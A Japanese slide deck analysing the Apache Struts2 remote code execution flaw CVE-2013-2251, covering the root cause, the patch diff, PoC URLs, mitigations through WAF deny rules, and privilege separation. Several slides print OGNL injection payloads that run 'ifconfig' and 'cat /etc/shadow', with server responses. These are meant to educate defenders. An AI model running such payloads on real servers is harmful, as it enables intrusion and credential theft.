Movatterモバイル変換


[0]ホーム

URL:


PPTX, PDF9,177 views

Cve 2013-2251

Embed presentation

Downloaded 56 times
CVE-2013-2251ー strutsと愉快な脆弱性達 続編 ー※本稿の内容を管理下ではない環境に対して実施しないでください。
自己紹介Twitter: abendWebセキュリティをメインでやってます。
CVE-2013-22512013年7月16日に公開されたApache Struts2系に存在するリモートの攻撃者によりOSコマンドが実行可能な脆弱性。2.3.15.1で改修されています。Apache Software Foundationhttp://struts.apache.org/release/2.3.x/docs/s2-016.htmlLAChttp://www.lac.co.jp/security/alert/2013/07/18_alert_01.html本脆弱性を悪用する攻撃が増えているそうです。
なんでこうなる?DefaultActionMapperが根本原因。 これはボタンなどに付加する文字列(以下)から実行される動作を定義していたが、入力値のチェックがなく、そのまま実行されていたため、想定動作以外も実行可能。<2.3.15まで定義されていた文字列>・method:・ action:・ redirect:・ redirectAction:今回の犯罪者→ 無罪
なんでこうなる?2.3.15と2.3.15.1のソースをdiffってみたら、こんな結果「action:」は、正規表現で[a-zA-Z0-9._!/-]*以外の文字は除去されるように修正されたようです。「redirect:」や「redirectAction:」は、DefaultActionMapper から削除されています。極刑に処されたようです。無罪なので「method:」は変更ないようです。
どうやる?Apache Software FoundationからPoC(Proof of Concept)が公開されています。http://struts.apache.org/release/2.3.x/docs/s2-016.html発見者は、三井物産セキュアディレクションのTakeshiTeradaさんだそうです。
どうやる?2公開されたPoCは以下となっています。環境にあわせてURLを一部変更しています。① http://host/example/HelloWorld.action?action:%25{3*4}⑤ http://host/example/HelloWorld.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘ifconfig'})).start()}→12.jspへアクセスを試みる。そんなファイル存在しないので404エラー。② http://host/example/HelloWorld.action?redirect:%25{3*4}③ http://host/example/HelloWorld.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘ifconfig'})).start()}④ http://host/example/HelloWorld.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘ifconfig'})).start()}→リダイレクトされ、/example/12へアクセスを試みるが、そんなファイル存在しないので404エラー。→java.lang.UNIXProcess@xxxxxxx.jspへアクセスを試みるが、そんなファイル存在しないので404エラー。
どうやる?2http://host//example/HelloWorld.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[] {'ifconfig'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader (#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(),#f= #context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#f.getWriter().println (#e),#f.getWriter().flush(),#f.getWriter().close()}「なんだ、うまくいかないじゃん」という結論は時期尚早です。※GETパラメータの値はコピペしても動作しないように、内容の理解に問題のない個所を2byte変更しています。以下、GETでアクセスHTTP/1.1 200 OKServer: Apache-Coyote/1.1Transfer-Encoding: chunkedDate:Wed, 24 Jul 2013 22:35:12GMTc351eth0 Link encap:Ethernet HWaddr xx:xx:xx:xx:xx:xxinet addr:xxx.xxx.xxx.xxx Bcast:xxx.xxx.xxx.xxx Mask:255.255.255.0レスポンス(抜粋)↓NIC情報が出力された。
さっきのなんだったの?PoCの③、④、⑤は実行させるJavaが不完全だった。動作させるために複数のコードを追加されています。「,」(カンマ)で複数のコードを追加可能。###Used by the DefaultActionMapper### You may provide a comma separated list, e.g. struts.action.extension=action,jnlp,do###The blank extension allows you to match directory listings as well as pure action names### without interfering with static resources, which can be specified as an empty string### prior to a comma e.g. struts.action.extension=, or struts.action.extension=x,y,z,,「,」(カンマ)で複数のコードが認識され、実行に至ったのではないかと推測されます。色々と調べてみたら、default.propertiesに以下のような記述がありました。
さっきのなんだったの?201 http://host//example/HelloWorld.action?redirect:${02 #a=(new java.lang.ProcessBuilder(new java.lang.String[] {'ifconfig'})).start()03 ,#b=#a.getInputStream()04 ,#c=new java.io.InputStreamReader (#b)05 ,#d=new java.io.BufferedReader(#c)06 ,#e=new char[50000]07 ,#d.read()08 ,#f= #context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')09 ,#f.getWriter().println (#e)10 ,#f.getWriter().flush()11 ,#f.getWriter().close()12 }※GETのパラメータ値はコピペしても動作しないように、内容の理解に問題のない個所を2byte変更しています。※見やすくするため、改行を入れてます。02で実行させたいコマンドを指定し、それ以降でコマンドの実行結果が出力されます。ココ
じゃあ、どうする?対策は、最新バージョンである2.3.15.1(2013年7月26日時点)に更新する。ぐだぐだ言ってないで、最新バージョン更新しろ。そもそも、なんでできない?
なんでできない?tomcat/shopping商品購入機能Struts 2.1.8.1例でショッピングサイトのツギハギ更新を考えてみる。/mypageマイページ機能Struts 2.2.1.1機能追加機能追加/askme問い合わせ機能Struts 2.3.14.3/manager管理用機能Struts 2.3.15機能追加常にstrutsの更新を行わないと、機能単位で異なるバージョン状況を生んでしまう。
なんでできない?21つのtomcatで複数のバージョンのstrutsを実装可能。機能を追加するたびに、最新バージョンで作っていたら、機能ごとで異なるバージョンになってしまう。バージョン管理なんてやりたくない。どの機能で更新による不整合が発生するか把握しづらくなり、更新なんて余計やりたくない。※あくまで仮説です。
なんとか、なんないの?どうすることもできないのか?WAFるWAFら(ない)WAFり(ます)WAFる(こと)WAFれ(ば)アップデートできないなら、WAFれ!!前回同様・・・
なんとか、なんないの?2WAFでリクエストに「action:」、「redirect:」、「redirectAction:」が含まれていたらブロックする。「Action:」、「aCtion:」や「RedirectAction:」などを試してみたが、脆弱性が発現されなかったので上記のパターンでいいのではないか。じゃあ、どうブロックする?SecRule ARGS_NAMES "action:" "phase:2,t:none,auditlog,deny,id:'999998'“SecRule ARGS_NAMES "redirect:" "phase:2,t:none,auditlog,deny,id:'999997'"SecRule ARGS_NAMES "redirectAction:" "phase:2,t:none,auditlog,deny,id:'999996'"
なんとか、なんないの?2GETやPOSTでもブロックできていたので、効果はありそうです。http://host/file.action?a=a&action:・・・というように適当なパラメータを挿入されたり、POSTの場合、マッチしないので。ちなみに、REQUEST_URIで「 ?action: 」をブロックというのはダメです。
なんとか、なんないの?3パラメータ名に「action:」、「redirect:」、「redirectAction:」が使われる可能性は低いと思うので、それなりにイケてるのでは。ただ、保証するものではないので自己責任でやってください。
ほかにも1NTTデータ先端技術から検証結果とともに、対策案で「管理者権限での動作」に関して言及されている。http://security.intellilink.co.jp/article/vulner/130723.htmlThat’s right!!Strutsだけでなく、Tomcatに脆弱性が存在していた場合、影響度は高くなるので、権限は分離すべき。(そもそも)
ほかにも2どうやって権限を分離するのか。・tomcatユーザ作って・CATALINA_HOMEの権限をtomcatユーザにして・tomcatユーザとしてTomcatを起動する。これだけにも関わらず、やっていない環境が数多く存在します。
ほかにも3①権限分離なしの場合http://host//example/HelloWorld.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[] {’cat’,’/etc/shadow’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader (#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(),#f= #context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#f.getWriter().println (#e),#f.getWriter().flush(),#f.getWriter().close()}HTTP/1.1 200 OKServer: Apache-Coyote/1.1Date: Sat, 27 Jul 2013 05:16:54 GMTContent-Length: 50001root:*******************.:xxx:0:99999:7:::bin:*:xxx:0:99999:7:::daemon:*:xxx:99999:7:::/etc/shadowを出力するようにすると・・・モザイクなしの18禁ばりに見えてる。レスポンス(抜粋)※GETパラメータの値はコピペしても動作しないように、内容の理解に問題のない個所を2byte変更しています。
ほかにも4②権限分離ありの場合http://host//example/HelloWorld.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[] {’cat’,’/etc/shadow’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader (#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(),#f= #context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#f.getWriter().println (#e),#f.getWriter().flush(),#f.getWriter().close()}HTTP/1.1 200 OKServer: Apache-Coyote/1.1Date: Sat, 27 Jul 2013 05:31:40 GMTContent-Length: 50001同様に/etc/shadowを出力するようにすると・・・アカウント情報が出力されなくなった。レスポンス(抜粋)※GETパラメータの値はコピペしても動作しないように、内容の理解に問題のない個所を2byte変更しています。
ほかにも5権限の分離で「/etc/shadow」の閲覧は、できなくなったが、tomcatユーザ権限の範囲での悪用は可能。「ifconfig」は権限分離後も悪用可能。権限分離も影響度を少なくするための軽減措置でしかなく、この脆弱性の解決策ではありません。
結論(まとめ1)Strutsの脆弱性って激しいよね。WAFとか権限分離しても根本解決じゃないよね。アップデート以外、根本解決ってないの?
結論(まとめ2)いや、実はあるんです。Strutsを使うな。

Recommended

PDF
Web担当者が知っておくべきPHPとセキュリティ
PPTX
RuCTFEに参加したよ
PPTX
おちこんだりもしたけど、私は元気です。
PPTX
Cybozu.com security challengeに参加したよ
PPTX
Not CVE-2013-xxxx
PPTX
Bypassing anti virus using powershell
PPTX
ポートスキャンを擬人化してみた
PPTX
Bypassing Windows Security Functions(ja)
PPTX
Bypassing Windows Security Functions(en)
PPTX
Burp Suite Japanユーザグループ紹介
PPTX
バックアップファイルの管理
PPTX
標的型攻撃からどのように身を守るのか
PPTX
Your hash is.
PPTX
Nmapの真実(続)
PPTX
Nmap 9 truth "Nothing to say any more"
PPTX
Nmap 9つの真実
PPTX
Nmapの真実
PPTX
Burpで指定文字列を検索
PPTX
The vulnerabilities never bothered me anyway
PDF
フリーでできるセキュリティチェック OpenVAS CLI編
PPTX
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
PPTX
フリーでできるWebセキュリティ(burp編)
PPTX
Burp番外編~バープ、チョトニホンゴデキル~
PPTX
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
PPTX
ハニーポットで見る攻撃手法(特に結論はありません)
PPTX
フリーでできるセキュリティ インフラ(Nessus)編
PPTX
診断ツールを作ってみようと思う
PPTX
クリックジャッキング

More Related Content

PDF
Web担当者が知っておくべきPHPとセキュリティ
PPTX
RuCTFEに参加したよ
PPTX
おちこんだりもしたけど、私は元気です。
PPTX
Cybozu.com security challengeに参加したよ
PPTX
Not CVE-2013-xxxx
PPTX
Bypassing anti virus using powershell
PPTX
ポートスキャンを擬人化してみた
PPTX
Bypassing Windows Security Functions(ja)
Web担当者が知っておくべきPHPとセキュリティ
RuCTFEに参加したよ
おちこんだりもしたけど、私は元気です。
Cybozu.com security challengeに参加したよ
Not CVE-2013-xxxx
Bypassing anti virus using powershell
ポートスキャンを擬人化してみた
Bypassing Windows Security Functions(ja)

More from abend_cve_9999_0001

PPTX
Bypassing Windows Security Functions(en)
PPTX
Burp Suite Japanユーザグループ紹介
PPTX
バックアップファイルの管理
PPTX
標的型攻撃からどのように身を守るのか
PPTX
Your hash is.
PPTX
Nmapの真実(続)
PPTX
Nmap 9 truth "Nothing to say any more"
PPTX
Nmap 9つの真実
PPTX
Nmapの真実
PPTX
Burpで指定文字列を検索
PPTX
The vulnerabilities never bothered me anyway
PDF
フリーでできるセキュリティチェック OpenVAS CLI編
PPTX
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
PPTX
フリーでできるWebセキュリティ(burp編)
PPTX
Burp番外編~バープ、チョトニホンゴデキル~
PPTX
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
PPTX
ハニーポットで見る攻撃手法(特に結論はありません)
PPTX
フリーでできるセキュリティ インフラ(Nessus)編
PPTX
診断ツールを作ってみようと思う
PPTX
クリックジャッキング
Bypassing Windows Security Functions(en)
Burp Suite Japanユーザグループ紹介
バックアップファイルの管理
標的型攻撃からどのように身を守るのか
Your hash is.
Nmapの真実(続)
Nmap 9 truth "Nothing to say any more"
Nmap 9つの真実
Nmapの真実
Burpで指定文字列を検索
The vulnerabilities never bothered me anyway
フリーでできるセキュリティチェック OpenVAS CLI編
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
フリーでできるWebセキュリティ(burp編)
Burp番外編~バープ、チョトニホンゴデキル~
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
ハニーポットで見る攻撃手法(特に結論はありません)
フリーでできるセキュリティ インフラ(Nessus)編
診断ツールを作ってみようと思う
クリックジャッキング

Cve 2013-2251


[8]ページ先頭

©2009-2025 Movatter.jp